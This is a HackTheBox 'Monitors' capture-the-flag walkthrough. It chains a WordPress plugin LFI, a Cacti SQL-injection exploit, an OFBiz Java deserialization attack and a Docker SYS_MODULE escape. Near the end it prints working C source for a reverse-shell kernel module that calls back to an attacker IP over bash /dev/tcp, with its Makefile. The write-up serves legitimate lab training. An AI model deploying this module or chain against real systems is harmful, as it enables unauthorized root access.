Monitors - HackTheBox

Start with Nmap scanning to detect open ports.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.238 -o targeted.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:33 EDT
Initiating SYN Stealth Scan at 11:33
Scanning 10.10.10.238 [1000 ports]
Discovered open port 80/tcp on 10.10.10.238
Discovered open port 22/tcp on 10.10.10.238
Completed SYN Stealth Scan at 11:33, 0.24s elapsed (1000 total ports)
Nmap scan report for 10.10.10.238
Host is up, received user-set (0.045s latency).
Scanned at 2021-10-10 11:33:47 EDT for 0s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh 	syn-ack ttl 63
80/tcp open  http	syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
       	Raw packets sent: 1000 (44.000KB) | Rcvd: 1000 (40.008KB)

I did another scan with Nmap to detect the version of each open port and service.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sCV -p22,80 10.10.10.238 -o webScan.txt                                                                                       	130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:35 EDT
Nmap scan report for 10.10.10.238
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh 	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http	Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

The server only had two ports open, I started by enumerating the web server, this is what I had.

It seems that virtual hosting was being applied, storing different domains on the same IP, for this I opened /etc/hosts and included the monitors.htb domain.

Now he reported what he really had.

I made a whatweb to see if it ran any CMS.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# whatweb http://monitors.htb/                                                   	 
http://monitors.htb/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously], UncommonHeaders[link], WordPress[5.5.1]

Apparently it was a web server with Wordpress installed, enumerating the web a bit I found that it had a directory listing of the plugins, I found one called wp-with-spritz.

I searched the internet to see if there was any exploit related to the plugin.

I found a few, I settled on the one posted on exploit.db.

Looking at it I saw that the web server was vulnerable to Local File Inclusion, meaning that it could see local files on the machine, I tried to enumerate the /etc/hosts to confirm the vulnerability.

Indeed, I could list files, in this case I tried to list the WordPress configuration file with curl, these usually have hardcoded credentials, after a few attempts trying to find the path I found it.

Something that caught my attention was that it did not interpret the PHP code so I did not have to use a “wrapper”.

Now, I tried these credentials in the WordPress login panel but no luck.

Taking advantage of the LFI vulnerability I tried to enumerate the 000-default.conf file. This file could have information about domains or subdomains that could be operational on the system.

And yes, I found cacti.monitors.htb, included it in /etc/hosts and accessed the web, it reported a login panel.

I immediately tried the credentials I had obtained from the WordPress configuration file enumeration.

And I authenticate myself.

Since I knew the version I decided to look for an exploit for this panel and found one that had to be authenticated.

Looking into it a bit I saw that it took advantage of a malicious SQL query to exploit the vulnerability, to gain access it uses a reverse shell with mkfifo.

Run the exploit using the panel login credentials, my IP, port and gain access to the machine.

I did a TTY scan and enumerated users, found markus operational on the system.

Since I didn’t have the ability to see the user’s “flag” I enumerated the machine a bit and found a file that caught my attention called cacti-backup.service, when I looked at it I found a path that was in the markus directory, going to this directory I saw that there was a folder called .backup that was hidden.

Looking at the file called backup.sh I found credentials in clear text.

I tried using them to pivot to user markus and it worked.

Now I could see the user’s “flag”.

In the main directory of markus there was also a file called note.txt, when I looked at it I found the following.

It said that I disabled phpinfo in php.ini but it didn’t update a Docker image, this caught my attention, I thought that later I could use this information for something, for the moment I decided to continue investigating the machine a little more, enumerating SUID permissions I didn’t find anything interesting.

The machine also had SSH connectivity with the credentials found above, I stuck with this Shell.

Doing some more enumeration I found a web server on the machine running on port 8443.

This caught my attention so I decided to see what I had, for this I had to do a port forwarding to have the port open on my localhost, since the machine had SSH I did it with that.

And I found the following on the web server.

I did fuzzing with gobuster and found different directories.

Accessing manufacturing redirected me to a login panel.

I could see the version that was being used.

I decided to do a search for exploits on the internet.

I found that it was vulnerable to insecure Java deserialization, a “ysoserial” in every rule.

To verify if the server was vulnerable to this attack I accessed the following path /webtools/corol/xmlrpc, I found that it existed.

What I did to exploit this vulnerability is to follow the exploit steps manually.

First I downloaded ysoserial to my machine and created a bash file called shell.sh with a reverse shell, I created the payload that would allow me to download the shell.sh file and export it to a writable path.

I opened a Python web server hosting shell.sh and sent a POST request with the payload created previously with ysoserial.

I received a GET request on my server, this was a good sign, I created one more payload by having it run shell.sh to receive a reverse shell, I set port 443 to listen with netcat and made another POST request with the new payload.

I received a GET request to my server again.

And gain access to the system via netcat.

Looking at my IP I found that I was in a Docker container.

Remembering the note from before, it said: “update docker image for production use”, this task was reported as “not done”, I thought it could be a clue of something, enumerating the machine well I found a docker “capability” that I could take advantage of.

SYS_MODULE, I decided to look for information about a possible privilege escalation.

To take advantage of this “capability” the idea was to create a malicious kernel module, to do this the first thing was to create a program to invoke the reverse shell, I did it with the following code written in c and I called it reverse-shell.c.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.32/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Next you have to create a MakeFile to compile the kernel module, for this I used the following code.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now I just compiled the kernel module with make on the victim machine, listened with nc on port 443 and did an insmod on the reverse-shell.ko file exported by the compilation, and I now have access to the system from nc, and I can now view the root flag.